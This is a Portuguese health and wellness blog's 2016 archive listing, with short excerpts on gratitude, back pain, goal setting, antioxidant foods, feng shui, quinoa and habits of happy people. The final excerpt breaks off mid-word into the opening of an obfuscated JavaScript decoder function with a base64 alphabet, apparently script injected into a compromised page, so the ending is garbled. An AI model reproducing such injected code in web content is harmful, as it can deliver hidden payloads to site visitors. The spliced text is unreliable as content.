Mar 14, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Bem-estar emocional A gratidão é essencial ao bem-estar emocional e agradecer diariamente à vida por todas as coisas, inclusive as mais simples e as mais difíceis, constitui uma das chaves para alcançar momentos de felicidade. ___ As dificuldades da vida podem ser...
Mar 13, 2016 | Equilíbrio, Novo, Saúde e bem estar
Para muitos o inverno é uma época de boas-vindas, mas, para as pessoas com reumatismos ou dores musculoesqueléticas, esta fase resfriada e húmida do ano traz presentes natalícios antecipados. As famigeradas dores nas costas. Prevenção Todos os dias, as nossas costas...
Mar 9, 2016 | Equilíbrio, Saúde e bem estar
Obtenha o que tanto deseja. Estabelecer objetivos transmite-nos confiança e bem-estar. Imagine-se num cais de embarque onde estão dois navios de cruzeiro, à sua escolha, para desfrutar da maior viagem de sempre: a sua vida! ___ No primeiro, partirá sem rumo, apenas...
Mar 1, 2016 | Equilíbrio, Saúde e bem estar
Conheça os alimentos antioxidantes Aliados nos nossos pratos ___ Faça da fruta e dos legumes as suas armas secretas de beleza e bem-estar. Morango: uma fruta antioxidante É uma fruta pobre em calorias e rica em propriedades. O seu efeito antioxidante foi avaliado...
Fev 27, 2016 | Equilíbrio, Saúde e bem estar
Feng shui – Um sono com mais qualidade Nos dias de hoje, muita gente se queixa da falta de qualidade de sono, além de, muitas vezes, também acompanhada pela falta de tempo suficiente para dormir. Ao longo dos últimos anos temos acompanhado a uma velocidade...
Fev 23, 2016 | Equilíbrio, Saúde e bem estar
7 Mitos sobre a sua coluna Frente a uma dor nas costas é palpável a vontade dos doentes de saberem tudo sobre a causa deste sofrimento. Os melhores tratamentos? A causa? O que alivia? O que não deve fazer? Entre pesquisas frenéticas e conversas assustadoras, as...
Fev 21, 2016 | Equilíbrio, Saúde e bem estar
Uma viagem à Índia A Índia é um país mágico, a este local pode mesmo aplicar-se a expressão – ‘primeiro estranha-se, depois entranha-se’. Dois meses foi o tempo suficiente para perceber por que razões as pessoas procuram este gigante e transformador local. Na Índia é...
Fev 19, 2016 | Equilíbrio, Saúde e bem estar
Quinoa – a proteína vegetal completa A procura crescente por uma alimentação saudável, na busca de uma vida com maior qualidade, tem trazido ao nosso conhecimento novos alimentos, muitos deles deveras surpreendentes pelas suas características de elevada qualidade...
Fev 18, 2016 | Equilíbrio, Saúde e bem estar
Compras do supermercado para uma vida saudável Ir às compras com a perspetiva de que a sua saúde depende daquilo que comprar será um bom guia. Mas, nem sempre percorrer os corredores do supermercado é uma tarefa fácil. Contudo, ficam aqui alguns conselhos para...
Fev 16, 2016 | Equilíbrio, Saúde e bem estar
7 Hábitos das pessoas felizes Qual é o segredo para ser feliz? Uma carreira de sucesso? Uma paixão eloquente? Uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
